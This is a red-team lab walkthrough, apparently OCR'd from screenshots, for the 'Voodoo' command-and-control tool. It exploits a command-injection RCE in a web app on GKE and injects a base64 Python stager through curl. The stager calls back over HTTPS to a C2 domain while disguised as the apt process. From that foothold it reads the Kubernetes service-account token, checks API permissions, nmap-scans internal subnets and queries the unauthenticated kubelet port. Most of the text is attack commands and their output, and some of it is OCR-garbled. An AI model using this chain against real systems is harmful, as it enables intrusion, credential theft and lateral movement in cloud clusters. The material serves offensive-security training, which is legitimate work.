The Plan:

- Browse to the web application to discover a RCE vulnerability...
-- Typical Pod/Container on GKE: http://34.85.215.94/

-- Privileged Pod/Container on GKE: http://34.85.197.48/

- Create a Voodoo no inject stager

- Leverage the RCE vulnerability in the web app to execute the Voodoo stager

- Recon the environment to discover we have landed in a container

- Recon the environment to discover this container is within a k8s cluster

- Recon the environment to discover this k8s cluster is hosted in GCP

RCE

Remote Code Execution (RCE), AKA arbitrary code execution (ACE), is an attacker's ability to execute arbitrary commands or code on a target machine or in a target process.

No Inject Stager

Login to your Voodoo LP and click on the “Stagers” link.
Create a new stager in the Voodoo LP with the following settings:

Name: NolnjectStager001

Communication Style: HTTPS Call-back
Domain: <Unique Subdomain>.demovoodoo.com
Port: 443

Callback interval (seconds): 1

URL Path: /CRL/partial_update

Proxy: Use host settings

Custom Headers: <None, N/A, Leave Blank>
Target: Linux

Architecture: x64

Host Process: /usr/bin/apt

Command Argument / Passphrase: update

Then click the “Update” button.

Your screen should look similar to the following:
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Voodoo X +

& vix316768.demovoodoo.com/

Create Stager

Overview
NolnjectStager001
Agents
win . .
Name NolnjectStager001
Listeners

Communication Style €@ HTTPS Call-back TCP Call-back UDP Call-back TLS Call-in

Domain Vix316768.demovoodoo.com

Resources
Boneyard Port 443
Logs Callback interval (seconds) 1
Settings i

URL Path JCRL/partial_update
Logout

Proxy @ Use host settings Use specified proxy Don't use a proxy
Custom headers °
Target @ Linux Windows

Architecture @ x64
Host process Jusr/binfapt
Command Argument / Passphrase update

Update

After clicking the “Update” button...

Now click the link to the “Python 2.7 No injection” stager...
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© Voodoo X

& vix316768.demovoodoo.com,

< Overview

J Agents

win

G Listeners

# Stagers

3 Resources

& Boneyard

¥ Logs

£* Settings

= Logout

Port 443

Callback interval (seconds) 1

URLPath  /CRL/partial_update

Proxy @ Use host settings Use specified proxy Don't use a proxy
Custom headers °
Target @ Linux Windows

Architecture @ x64

Host process {usrfbin/apt

Command Argument / Passphrase update

Python 2.7 Python 2.6 Python 3 Bash

echo
"exec('aWlwb3J0IGNOeXBlcywgdXJsbGliMiwge3NSLCBveywgemFuZG9tCnggPSBlemxsaWIyL1lJ1leXV1e30oJ2h0dH
Bz0i8vdml4MzE2Nz Y4LmR1bW92b29kb28uY29t0jQ0MyInZW4vYzRiODYzMEMENMQONS00NZzY4LTh1NZzgt YZA4MTIyNzN
jZmRkJykKeHMgPSBlemxsaWIyLnVybGIwZW4oeCwgY29udGV4dDlzc2wuX2NYyZWF0ZVI1lbnZlemlmaWvkX2NvbnR1leHQo
KSkgaWYgKGhhc2F0dHIoc3NsLCAnNX2NYZWF0ZVI1bnZlcmlmaWVkX2NvbnR1eHOnKSkgZWxzZSBlemxsaWIyLnVybGIwZ
W4oeCkKdj0yODIZNzUKRc289YicnCmZveiB4IG1luIHhzEnJ1YWQOKToKICAgd j0oNyp2KZE2RSUYNTYRICAgeZ 8rPWNoci
h2Xm9yZCh4KSkKZmQgPSBjdH1wZXMuQORMTChOb251KS52eXNj YWxsKDMx0SwgJycsIDEpCmIzLndyaXR1KGZKkLCBzbyk
KdiA9IGNOeXBlcy5DREXMKCcvecHIvYy9zZWxmL2ZkLycgKyBzdHIoZmOpKQOp2LnhvbygndXBkYXR1JykK ' .decode( 'ba
se64'))" | /usr/bin/python2.7

Download Executable Download Shellcode

Leverage RCE in Web App

Select the base64 encoded text between the single quotes, copy & paste this base64 encoded string into a text editor that will not change characters (e.g. https://www.sublimetext.com/ ).

Insert this base64 payload within the following command, to leverage this payload with the RCE exploit:

|curl -G "http://34.85.215.94/net_health" -v --data-urlencode "cmd=ifconfig; echo \"exec('aW1...BASE64_Voodoo No_Inject Stager Here...ykK'.decode('base64')\" | /usr/bin/python &"

NOTE: The curl command hangs because it is waiting for a response but the voodoo agent does not send back output on being successfully executed.

We should now get a new agent calling back into the Voodoo LP via this RCE vulnerability within the web application.
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¢ Voodoo

x  +

& vix316768.demovoodoo.com,

< Overview

J Agents

AgentOnWin

AgentOnK8sCntr

v Listeners

# Stagers

3 Resources

& Boneyard

i¥ Logs

£¥ Settings

= Logout

@ AgentOnKS8sCntr

File System

Console Process List Alerts

Filter:

sysinfo

interval

netstat

1s /

integrity

34.145.249.54
Google LLC
Mountain View, California

Include task output

e i A

Host Recon

When we check the process list via the Voodoo web interface...

[ps

We should see output similar to this...

(sh)
(£flask)
(sh)

{python)

ps

We can see that pid 1 is not the “init”,

K8s API Recon

/bin/sh -¢ flask run --host=0.0.0.0 --port 5001
/usr/bin/pythen /usr/local/bin/flask run --host=0.0.0.0 --port 5001

/usr/bin/python

systemd”, or “launchd” process, as it typically would be on most Linux servers.

When on a remote target running the Linux OS, I generally check the mount points to see if their is anything interesting via this command in Voodoo:

|run mount

We should see output similar to this...
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run mount

returned 6

overlay on / type overlay

(rw,relatime, lowerdir=/var/lib/containerd/io.containerd.snapshotter.vl.overlayfs/snapshots/97/fs:/var/lib/conta
inerd/io.containerd.snapshotter.vl.overlayfs/snapshots/96/fs:/var/lib/containerd/io.containerd.snapshotter.vl.o
verlayfs/snapshots/95/fs:/var/lib/containerd/io.containerd.snapshotter.vl.overlayfs/snapshots/94/fs:/var/lib/co
ntainerd/io.containerd.snapshotter.vl.overlayfs/snapshots/93/fs:/var/lib/containerd/io.containerd.snapshotter.v
l.overlayfs/snapshots/92/fs:/var/lib/containerd/ic.containerd.snapshotter.vl.overlayfs/snapshots/91/fs:/var/lib
/containerd/ic.containerd.snapshotter.vl.overlayfs/snapshots/90/fs:/var/lib/containerd/ic.containerd.snapshotte
r.vl.overlayfs/snapshots/89/fs: /var/lib/containerd/ic.containerd.snapshotter.vl.overlayfs/snapshots/88/fs: /var/
lib/containerd/io.containerd. snapshotter.vl.overlayfs/snapshots/87/fs: /var/lib/containerd/io.containerd.snapsho
tter.vl.overlayfs/snapshots/86/fs: /var/lib/containerd/io.containerd.snapshotter.vl.overlayfs/snapshots/85/fs:/v
ar/lib/containerd/io.containerd.snapshotter.vl.overlayfs/snapshots/84/fs:/var/lib/containerd/io.containerd.snap
shotter.vl.overlayfs/snapshots/83/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.vl.overlayfs/snapsh
ots/%8/fs,workdir=/var/lib/containerd/ic.containerd.snapshotter.vl.overlayfs/snapshots/98/work)

proc on /proc type proc (rw,nosuid,nodev,ncexec,relatime)

tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)

devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmmode=666

nqueue on /dev/mgueue type mqueue (rw,nosuid,nodev,noexec,relatime)

sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)

tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)

cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd})

cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)

cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)

cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,ncsuid,nodev,noexec,relatime,cpu,cpuacct)

cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)

> run mounf

As we scroll through the ouput, we should see the kubernetes secrets tmpfs mount point...

cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)

cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)

cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)

cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)

cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)

cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,ncdev,noexec,relatime,pids)

cgroup on /sys/fs/cgroup/net_cls,net prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_els,net prio)
cgroup on /sys/fs/cgroup/perf event type cgroup (ro,nosuid,nodev,noexec,relatime,perf event)

/dev/sdal on /shared type ext4 (rw,nosuid,nodev,relatime,commit=30)

/dev/sdal on /etc/hosts type extd (rw,relatime,commit=30)

/dev/sdal on /dev/termination-log type extd4 (rw,relatime,commit=30})

/dev/sdal on /etc/hostname type extd (rw,nosuid,ncdev,relatime,commit=30})

/dev/sdal on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30)

shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

/proc/bus type proc (ro,ncsuid,nodev,noexec,relatime)

/proc/fs type proc (ro,nosuid,nodev,noexec,relatime)

/proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
/proc/sys type proc (ro,nocsuid,nodev,noexec,relatime)
/proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
/proc/acpi type tmpfs (ro,relatime)

/proc/keore type tmpfs (rw,nosuid,size=£5536k,mode=755)
/proc/keys type tmpfs (rw,nosuid,size=65536k, mode=755)
/proc/timer list type tmpfs (rw,nosuid,size=65536k,mode=755)
/proc/scsi type tmpfs (ro,relatime)

/sys/firmware type tmpfs (ro,relatime)

> run mount

Notice in this output, that we see a tmpfs mount point referring to a Kubernetes (K8s) environment.

We can cat the control group, AKA cgroup, associated with pid 1 to see more information...

|cat /proc/1/cgroup

We should see output similar to the following:
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cat /proc/1/cgroup

12:perf_event:/kubepods/besteffort/podl10487d2c-9aad-4643-adac-493eba8lb66b/f815fbefd28e5800dfc7ThB033fdda2deab6c6359942771417abedeal6f70e2Be
11:net_cls,net_pric:/kubepods/besteffort/podl0487d2c-%aad-4643-adac-493ebaBlbbéb/fB15fbefd28e5800dfc7bB033fdda2deabbc6359942771417a6edee26f70e28c

10:pids: /kubepods/besteffort/podl0487d2c-9aad-4643-adac-493ebaB1b66b/f815fbefd28e5800dfc7b8033fdda24eab6c6359942771417abedee26f70a28c

9:freezer: /kubepods/besteffort/pod10487d2c-9aad-4643-adac-493ebaBlb66b/f815fbefd28e5800dfc7b8033fdda24eabbc6359942771417a6edee26£70a28c
8:memory: /kubepods/besteffort/podl0487d2c-9aad-4643-adac-493eba8lb66b/f815fbefd28e5800dfc7b8033fdda24eab6c6359942771417abedee26£70e28c
7:cpuset:/kubepods/besteffort/podl0487d2c-9aad-4643-a4ac-493eba8lb66b/fB815fbefd28e5800dfc7h8033fdda24eabbc6359942771417abedee26£70e28c
6:rdma:/

S5:hugetlb: /kubepods/besteffort/podl0487d2c-%aad-4643-adac-493ebaBlb66b/f815fbefd28e5800dfc7b8033fdda24eab6c6359942771417a6edee26£70e28e
4:cpu,cpuacet:/kubepods/besteffort/podl0487d2c-9aad-4643-adac-493eba8lb66b/f815fbefd28e5800dfcTbB033fdda24eab6c6359942771417a6edea26f70e2Be
3:devices:/kubepods/besteffort/podl0487d2c-9aad=-4643-adac-493eba8lb66b/fBl5fbefd28e5800dfc7b8033fdda2deab6c6359942771417a6edee26£70a28C
2:blkio:/kubepods/besteffort/podl0487d2c-9aad-4643-adac-493ebaBlb66b/f81l5fbefd28e5800dfc7b8033fdda24eab6c635994277141Tatedee26f70a28C
l:name=systemd: /kubepods/besteffort/podl0487d2c-%aad-4643-adac-493eba8lb66b/fB15fbefd28e5800dfc7bB033fdda24eabbc6359942771417a6edea26E70a28c

system.slice/containerd.service

> cat /proc/1/cgroup

Notice in this output, that we see several references to a K8s environment, as well.

In addition, we can view the environment variables on the remote target via the following Voodoo command...

run env

‘We should see output similar to the following:

returned 6

KUBERNETES_SERVICE_PORT=443

KUBERNETES PORT=tcp://10.12.0.1:443
HOSTNAME=nbvulns005-567856bbf5-gbxr6
HOME=/root

FLASK RUN_FROM CLI=true
EKUBERNETES PORT 443 TCP ADDR=10.12.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
EKUBERNETES PORT 443 TCP PORT=443
KUBERNETES_PORT 443 _TCP PROTO=tcp
KUBERNETES_SERVICE PORT HTTPS=443
KUBERNETES PORT 443 TCP=tcp://10.12.0.1:443
KUBERNETES_SERVICE_HOST=10.12.0.1

PWD=/app

> run eny|

Notice in this output, we references to the K8s API server.

If we list files within the folder mounted via that previously discovered interesting mount point...

[Is /var/run/secrets/kubernetes.io/serviceaccount/

We should see output similar to the following:

1s /var/run/secrets/kubernetes.io/serviceaccount/

drWXrWwIrwx 2021-07-30 15:05:42 .
drwxr-xr-x 2021-07-30 15:05:59 ..
drwxr-xr-x 2021-07-30 15:05:42 ..data

=IW=F==F== 2021-07-30 15:05:42 namespace

=-TW=T: - 2021-07-30 15:05:42 ca.crt

drwxr-xr-x 100 2021-07-30 15:05:42 ..2021_07_30_15_05_42.669964036

Ed Is varirun/secrets/kubernetes.io/serviceaccount/

We will discover a “token” file.

If we cat the contents of this file...

[cat /var/run/secrets/kubernetes.io/serviceaccount/token

We should see output similar to the following:
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cat /var/run/secrets/kubernetes.io/serviceaccount/token

eyThbGei0iJsUzIINiIsImtpZCI6TilnZEl¥ZzhzcDBsWEpBanNNNHRSTkZWckNzX2 9wT2VybGpsXzYERWS 3WU0ifQ . eyTJpcIMiOi JrdWIlemS1dGVzL3N1enZpY2VhY 2NvdW50TiwialViZiIu
EZXR1lcy5pby922XT2aWN]1YWNjb3VudCIuYW1lle3BhY2Ui0iTkZWZhdWx0Tiwia3ViZXJuZXRlcySpby9z2XT2aWN1YWN jb3VudCIzEWNyZXQubmF £ ZST6TmR]1 ZmF 1 bHQtdGIr ZW4ta2tobWsil.CT
rdWI1lem51dGVzLmlvL3NlenZpY2VhY2NvdW5S0L3N1enZpY 2ULYWN jb3VudC5uYW11T joiZGVmYXVadCIsTmt 1 YmVybmV0 ZXMuaW8ve2Vydml jZWF j¥291bnQve2Vydml j2S1hY2NvdW5 0LaVREC

16 IMUwWNDR j YTRhLTE4MmT tNDF jMy 0SYWY 2L TEOZDNmZTIxZ jAx2CT=InN1YiT6 InNSe3R1bTpzZXJ2aWN1 YWNjb3VudDpkZWZhdWx00mR1 ZmF1bHQi £Q . JjzCnvT7HpZeBoHBC3R_BxfTNEQVRUR

JR3R1TXT30bvH2JivErXocEN jdwCjGEYrc7tvKvaX2p30FBmxR1v0141i0_gxxqghELkoYzxFd57 j1eT4WPXRBhdH4NTImxMRSBdiHRFrnit41CNicpTgm—
7g9HGUTESkmWIDhkbJcwK9c£GCniSgb0ZDOt0PLESUsXT_a3 fIRL7oMTU0xK49X0Qwdep8gM3xumY 7 TCpI POy 0xOET_88WWIe-tdOh9zch51bkUun-
_fo 5GfeFelmJ6_rVLcmLBS0JISBcYBuLR50QgsuFCWMIvT12d20NSutOmGRudYQ IwtCISIFPWAhacNfA

> cat /var/run/secrets/kubernetes.io/serviceaccount/token|

We can leverage this information to try to start communicating with the K8s API.

Scanning

We will want to use some additional binaries with Voodoo so let's extract some files from the Amory to add some more Amuuntions to Voodoo's resource section:

cd /shared
7z x -t7z -p"Stage2Train" /shared/voodoo_ce/armory-v0_2.7z -o/shared/voodoo_ce/app/resources
chmod 644 -R /shared/voodoo_ce/app/resources

chown root:root -R /shared/voodoo_ce/app/resources

Is -alF /shared/voodoo_ce/app/resources

We should see output similar to the following, for the last command:

root@ip-10-0-1-110:/shared# Is -alF /shared/voodoo_ce/app/resources
total 83760

drw-r--r-- 7 root root 4096 Aug 1 19:34 ./

drwx------ 9 root root 4096 Aug 1 19:36 ../

-rw-r--r-- 1 root root 9728 Aug 19 2020 AADRefreshToken.exe
- 1 root root 20413 Aug 19 2020 arox.py

- 4 root root 4096 Aug 19 2020 collection/

- 1 root root 3382232 Aug 19 2020 curl

-rw-r--r-- 1 root root 117760 Aug 19 2020 Injector.exe
-rw-r--r-- 1 root root 44036096 Aug 19 2020 kubectl

- 1 root root 22297056 Aug 19 2020 kubeletmein

- 3 root root 4096 Aug 19 2020 lateral_movement/

- 3 root root 4096 Aug 19 2020 management/
-rw-r--1-- 1 root root 5944464 Aug 19 2020 nmap

-rw-r--r-- 1 root root 822344 Aug 1 18:57 NolnjectStager001

- 4 root root 4096 Aug 19 2020 persistence/

- 3 root root 4096 Aug 19 2020 privesc/

- 1 root root 124416 Aug 19 2020 RedPillWin.dll
-rw-r--r-- 1 root root 7875552 Aug 19 2020 winexe

-rw-r--r-- 1 root root 1094656 Aug 1 17:32 winRdpMasqStager
root@ip-10-0-1-110:/shared#

And now when we browse to the "Resources" section within the Voodoo web interface, we should see the following resources:
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¢ Voodoo

< Overview

x +

& vix316768.demovoodoo.com,

Resources
J Agents
Name Modified Description
AgentOnWin
RedPillWin.dll Wed Aug 19 19:02:13 2020

AgentOnK8sCntr

v Listeners

# Stagers

B Resources

management

Injectorexe

Wed Aug 19 19:02:11 2020

Wed Aug 19 19:02:10 2020

arox.py Wed Aug 19 19:02:10 2020
& Boneyard

kubeletmein Wed Aug 19 19:02:11 2020
i¥ Logs

privesc Wed Aug 19 19:02:13 2020
£¥ Settings
& Logout collection Wed Aug 19 19:02:10 2020

curl Wed Aug 19 19:02:10 2020

kubect] Wed Aug 19 19:02:11 2020

lateral_movement

persistence

winRdpMasqStager

AADRefreshToken exe

Wed Aug 19 19:02:11 2020

Wed Aug 19 19:02:13 2020

Sun Aug 1 17:32:47 2021

Wed Aug 19 19:02:10:2020

e e e T e e

We can see if the port is open on the API server via leveraging nmap with the following command:

|exec nmap ping -n -sT -p443 10.12.0.1/32

We should see output similar to the following:

exec nmap ping -n -sT -p443 10.12.0.1/32

returned 6

Starting Nmap €.49BETAL ( http://nmap.org ) at 2021-08-01 19:39 GMT
Unable to find nmap-services! Resorting to /etc/services

Cannot find nmap-payloads. UDP payloads are disabled.

Mmap scan report for 10.12.0.1

Host is up (0.00055s latency).

PORT STATE SERVICE

443/tcp open https

Mmap done: 1 IP address (1 host up} scanned in 0.21 seconds

exec nmap ping -n -sT -p443 10.12.0.1/32|

We can see that the “kubect]” application is not install on the remote target:

run /bin/bash
which kubect]

which bash

exit

We should see output similar to the following:
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run /bin/bash

returned 6

which kubectl
which bash
/bin/bash

exit

> run /bin/bash

Notice that when “which kubect]” did not return a result, that indicates that the application is not install on the remote target.

Nonetheless, we can just use Voodoo’s exec command to load the binary into memory only within the remote container...

|cxcc kubectl ping auth can-i --list

We should see output similar to the following:

exec kubectl ping auth can-i --list

returned 6

warning: the list may be incomplete: webhook authorizer does not support user rule resolution

Rescurces Non-Resource URLs Resource Names Verbs

selfsubjectaccessreviews.authorization.kBs.io [ [ [create]

selfsubjectrulesreviews.authorization.kés.io [ [ [create]
[/.well-known/openid-configuration] [l [get]
[/api/*] 9] [get]
[/api] 9] [get]
[/apis/*] 9] [get]
[/apis) 9] [get]
[/healthz] [l [get]
[/healthz] [l [get]
[/livez] [l [get]
[/livez] [ [get]
[/openapi/*) 8] [get]
[/openapi] 8] [get]
[/openid/v1/jwks) [l [get]
[/readyz] 8} [get]
[/readyz] [l [get]
[/version/] 3] [get]
[/version/] 8] [get]
[/version] [l [get]

[/version] [l [get]

> exec kubect! ping auth can-i ~lis{

Let’s see if we can do anything useful with our current access:

exec kubectl ping auth can-i create pods

We should see output similar to the following:

exec kubectl ping auth can-i create pods

returned 6

Kubelet Recon

Reviewing the netstat information from when we first launched the Voodoo agent on the target...
netstat

TCP 0.0.0.0:5001 <-> 0.0.0.0 LISTEN

TCP 10.8.1.5:44960 <-> 3.133.127.161:443 FIN_WATT1

TCP 10.8.1.5:5001 <-> 10.8.1.1:30740 TIME_WAIT

UDP 10.8.1.5:60535 <-> 10.12.0.10:53 ESTABLISHED

We see an established connection to an IP address in the 10.150.0.0 network range (e.g. 10.150.0.2).
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Let’s scan this subnet with nmap to see which hosts may have 22/TCP (SSH) exposed:

lexec nmap ping -n -sT -p22 10.150.0.0/24

We should see output similar to the following:

exec nmap ping -n =-sT =p22 10.150.0.0/24

returned 6

Starting Nmap 6.49BETALl ( http://nmap.org ) at 2021-08-01 19:51 GMT
Unable to find nmap-services! Resorting to /etc/services

Cannot find nmap-payloads. UDP payloads are disabled.

Mmap scan report for 10.150.0.2

Host is up (0.12s latency).

PORT STATE SERVICE

22/tcp open ssh

Mmap scan report for 10.150.0.3
Host is up (0.000038s latency).
PORT  STATE SERVICE

22/tcp open ssh

Mmap scan repert for 10.150.0.4
Host is up (0.0013s latency).
PORT STATE SERVICE

22/tcp open ssh

Nmap done: 256 IP addresses (3 hosts up) scanned in 18.B9 seconds

> exec nMap ping -n -sT -p22 10.150.0.0/24

The Kubelet service typically runs on the worker nodes and listens on TCP port 10250. Scan for it with the following command:

|exec nmap ping -n -sT -p10250 10.150.0.0/24

We should see output similar to the following:

exec nmap ping -sT -pl10250 10.150.0.0/24

returned 6

Starting Nmap 6.49BETAl ( http://nmap.org )} at 2021-08-01 19:56 GMT
Unable to find nmap-services! Resorting to /etc/services

Cannot find nmap-payloads. UDP payloads are disabled.

Mmap scan report for 10.150.0.2

Host is up (0.0014s latency).

PORT STATE SERVICE

10250/tcp open unknown

Mmap scan repert for 10.150.0.3
Host is up (0.000035s latency).
PORT STATE SERVICE

10250/tcp open unknown

Mmap scan report for 10.150.0.4

Host is up (0.1ls latency).

PORT STATE SERVICE

10250/tcp open unknown

Nmap done: 256 IP addresses (3 hosts up) scanned in 19.75 seconds

> exec nmap ping -n -sT -p10250 10.150.0.0/24

This Kubelet service on 10250/TCP normally communicates using TLS (e.g. https:// ).

We can also check for the Kubelet service on TCP port 10255:

|exec nmap ping -n -sT -p10250,10255 10.150.0.0/24

We should see output similar to the following:
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exec nmap ping -n -sT -pl0250,10255 10.150.0.0/24

returned 6

Starting Nmap €.49BETAL ( http://nmap.org ) at 2021-08-01 20:01 GMT
Unable to find nmap-services! Resorting to /etc/services

Cannot find nmap-payloads. UDP payloads are disabled.

Mmap scan report for 10.150.0.2

Host is up (0.0013s latency).

PORT STATE SERVICE
10250/tcp open unknown
10255/tcp open unknown

Mmap scan repert for 10.150.0.3
Host is up (0.000093s latency).
PORT STATE SERVICE
10250/tcp open unknown

10255/tcp open unknown

Mmap scan report for 10.150.0.4
Host is up (0.081s latency).
PORT STATE SERVICE
10250/tcp open unknown

10255/tcp open unknown

Nmap done: 256 IP addresses (3 hosts up) scanned in 17.41 seconds

> exec nmap ping -n -sT -p10250,10255 10.150.0.0/24]

10255/TCP is typically the read-only port for the Kubelet to serve on with no authentication/authorization.
This Kubelet service on 10255/TCP normally communicates using HTTP (e.g. http:// ).

We can lists pods running on a worker node via the following command:

|exec curl ping -s -i -k http://10.150.0.2:10255/pods

We should see output similar to the following:

exec curl ping -k http://10.150.0.2:10255/pods

returned 6

HTTP/1.1 200 OK
Content-Type: application/json
Date: Sun, 01 Aug 2021 20:03:02 GMT

Transfer-Encoding: chunked

{"kind":"PodList","apiVersion":"v1l", "metadata },"items":[{"metadata”:{"name" : "kube-proxy-gke-my-first-cluster-l-default-pool-df5db068-

9156", "namespace" : "kube-system" , "selfLink": " /api/v1/namespaces/kube-system/pods/kube-proxy-gke-my-first-cluster-1-default-pool-d£5db068—

9156", "uid":"5391adcB4c48dIEadld2ad32cBeeabe5” , "creationTimestamp" :null, "labels" : {"component” : "kube-proxy", "tier" : "node"}, "annotations":
{"kubernetes.ioc/config.hash":"5391adc84c4Bd9fasild2ad32cBecabes”, "kubernates. io/config.seen":"2021-07-

30T03:53:21.7923721522", "kubernetes.io/config.source”: "file"}}, "spec”:{"volumes {"name":"usr-ca-certs”,"hostPath":{"path":"/usr/share/ca-
certificates”,"type":""}},{"name":"etc-ssl-certs”, "hostPath":{"path":"/etc/ssl/certs","type":""}},{" "name": "kubeconfig", "hostPath":
{"path":"/var/lib/kube-proxy/kubeconfig”,"type":"FileOrCreata"}},{"name": "varlog","hostPath "path":"/var/log", "type
{"name":"iptableslock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}}, {"name":"lib-modules","hostPath":
{"path":"/lib/modules”,"type":""}}],"containers":[{"name" : "kube-proxy","image" : "gke.gcr.io/kube-proxy-amd64:v1.20.8-gke.700", "command" :
["/bin/sh","-c","exec kube-proxy --master=https://35.245.208.36 --kubeconfig=/var/lib/kube-proxy/kubeconfig --cluster-cidr=10.8.0.0/14 --com-score-

adj=-998 =2 --feature-gates=DynamicKubeletConfig=false,RotateKubeletServerCertificate=true,ExecProbeTimeout=false --iptables-sync-period=lm --

iptables-min-sync-period=10s --ipvs-sync-period=lm --ipvs-min-sync-period=10s --detect-local-mode=NodeCIDR 1\u003e\u003e/var/log/kube-proxy-log

2\u003e\u00261" ], "resources”: {"requests”:{"cpu":"100m" }}, "volumeMounts": [ { "name":"etc-ssl-certs", "readOnly" :true, "mountPath":" /etc/ssl/certs"},
{"name": "usr-ca-certs", "readOnly" :true, "mountPath":" fusr/share/ca-certificates"}, {"name":"varlog", "mountPath":"/var/log"},

{"name" : "kubeconfig", "mountPath": " /var/lib/kube-proxy/kubeconfig"}, { "name": "iptableslock", "mountPath":"/run/xtables.lock"},{"name”:"lib-
modules” , "readOnly” :true, "mountPath”:"/lib/modules"}], "terminationMessagePath":"/dev/termination-

log", "terminationMessagePolicy”:"File", "imagePullPolicy”:"IfNotPresent", "securityContext":

{"privileged":true}}], "restartPolicy":"Always", "terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst", "nodeName” : "gke-my-first-cluster-1-

default-pool-df5db068-9156", "hostNetwork" :true, "securityContext":{}, "schedulerName" : "default-scheduler", "tolerations":

[{"cperator":"Exists", "effect”:"NoExecute"}, {"operator":"Exists", "effect":"NoSchedule"}], "priorityClassName system-node-

> exec curl ping -8 -i -k hitp://10.150.0.2:10255/pods

‘We should see at least one worker node running the container we exploited...
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[{"manager":"kube-controller-manager", "operation”: "Update", "apiVersion":"vl","time":"2021-07-30T15:22:322", "fieldsType": "FieldsVl","fieldsVl":
{"f:metadata":{"f:generateName":{},"f:labels":{".":{}, "frapp":{}, "f:pod-template-hash":{}},"f:ownerReferences":{".":{}, "k: {\"uid\":\"4b281463-91a2-
4db8-b665-£647476812c1\"} " {". "t {}, piVersion”:{},"f:blockOwnerDeletion":{}, "f:controller”:{},"f:kind":{},"frname":{},"fruid":{}}}}, "f:spec

{"f:containers”:{"k:{\"name\":\ " IIEE005-1\"} image "f:imagePullPolicy":{},"f:name":{},"f:resources":{} securityContex

{},"f:privileged":{}},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{\"mountPath\
{},"f:mountPath":{},"f:name":{}}}}},"E:dnsPolicy":{}, "f:enableServicelLinks":{},"f:hostIPC":{},"f:hostNetwork":{},"£:hostPID":{},"f:restartPolicy":
{},"£:schedulerName":{}, "f:securityContext”:{}, "f:terminationGracePeriodSeconds”:{},"f:volumes":{".":{}, "k:{\"name\":\"nodercot\"}": {".
{},"£:hostPath":{".":{}, "£:path":{},"E:type”:{}}, "f:name":{}}}}}}1}, "spec”:{"volumes":[{ "name": "nodercot"”, "hostPath": {"path":"/", "type":
{"name" : "default-token-kkhmk", "secret":{"secretName":"default-token-kkhmk", "defaultMode":420}}], "containers":[{"name" : "N FU8EI005-
1", "image" "cnoio!ﬂcs-. latest", "resources }; "volumeMounts": [ {"name” : "noderoot", "mountPath" :" /host"}, { "name’ default-token-
kkhmk", "readOnly" :true, "mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}), "terminationMessagePath":"/dev/termination=-
log", "terminationMessagePolicy":"File", "imagePullPolicy":"Always", "securityContext"”
{"privileged"”:true}}], "restartPolicy":"Always", "terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst", "serviceAccountName default”, "servic
eAccount”: "default”, "nodeName": "gke-my-first-cluster-1-default-pool-df5db068-
9156", "hostNetwork" : true, "hostPID" :true, "hostTPC" s true, "securityContext": {}, "schedulerName": "default-scheduler", "tolerations":
[{"key":"node.kubernetes.io/not-ready", "operator":"Exists", "effect": "NoExecute", "tolerationSeconds":300},
{"key":"node.kubernetes.io/unreachable"”, "operator"”:"Exists", "effect"” : "NoExecute", "tolerationSeconds":300}], "priority" "enableServiceLinks":true,"
preempticnPolicy”: "PreemptLowerPriority"},"status”:{"phase”:"Running”, "coenditions":
[{"type":"Initialized","status":"True", "lastProbeTime" :null, "lastTransitionTime":"2021-07-30T15:22:322"},

"Ready tatus”:"True","lastProbeTime":null, "lastTransitionTime":"2021-07-30T15:22:332"},

"ContainersReady", "status":"True lastProbeTime":null, "lastTransitionTime":"2021-07-30T15:22:33%"},

"PodScheduled” , "status":"True", "lastProbeTime" :null, "lastTransitionTime":"2021-07-
30T15:22:322"}], "hostIP":"10.150.0.2 podIP":"10.150.0.2", "podIPs":[{"ip":"10.150.0.2"}], "startTime":"2021-07-30T15:22: 322", "containerStatuses":
[{"name" : " NIIEH005-1", "state": {"running" : { "startedAt":"2021-07-30T15:22:332"}}, "lastState":
{}, "ready":true, "restartCount":0,"image" : "docker.io/ecncio/ N Wb EI005: 1atest” , "imageID" : "docker. io,fcnoiu.lc 05€8sha256:f9d237£64602d08c24fdBE776
3ceal7b5b6c85186defédef7blba7eBdfal7e6d"”, "containerID": "containerd: //79667158f3e5c863990686a7d%9a89a200450dbdec058f8f1b22a654703842¢ceTe", "started" 1tr
ue} ), "gosClass": "BestEffort"}}]}

> exec curl ping -s -i -k http://10.150.0.2:10255/pods
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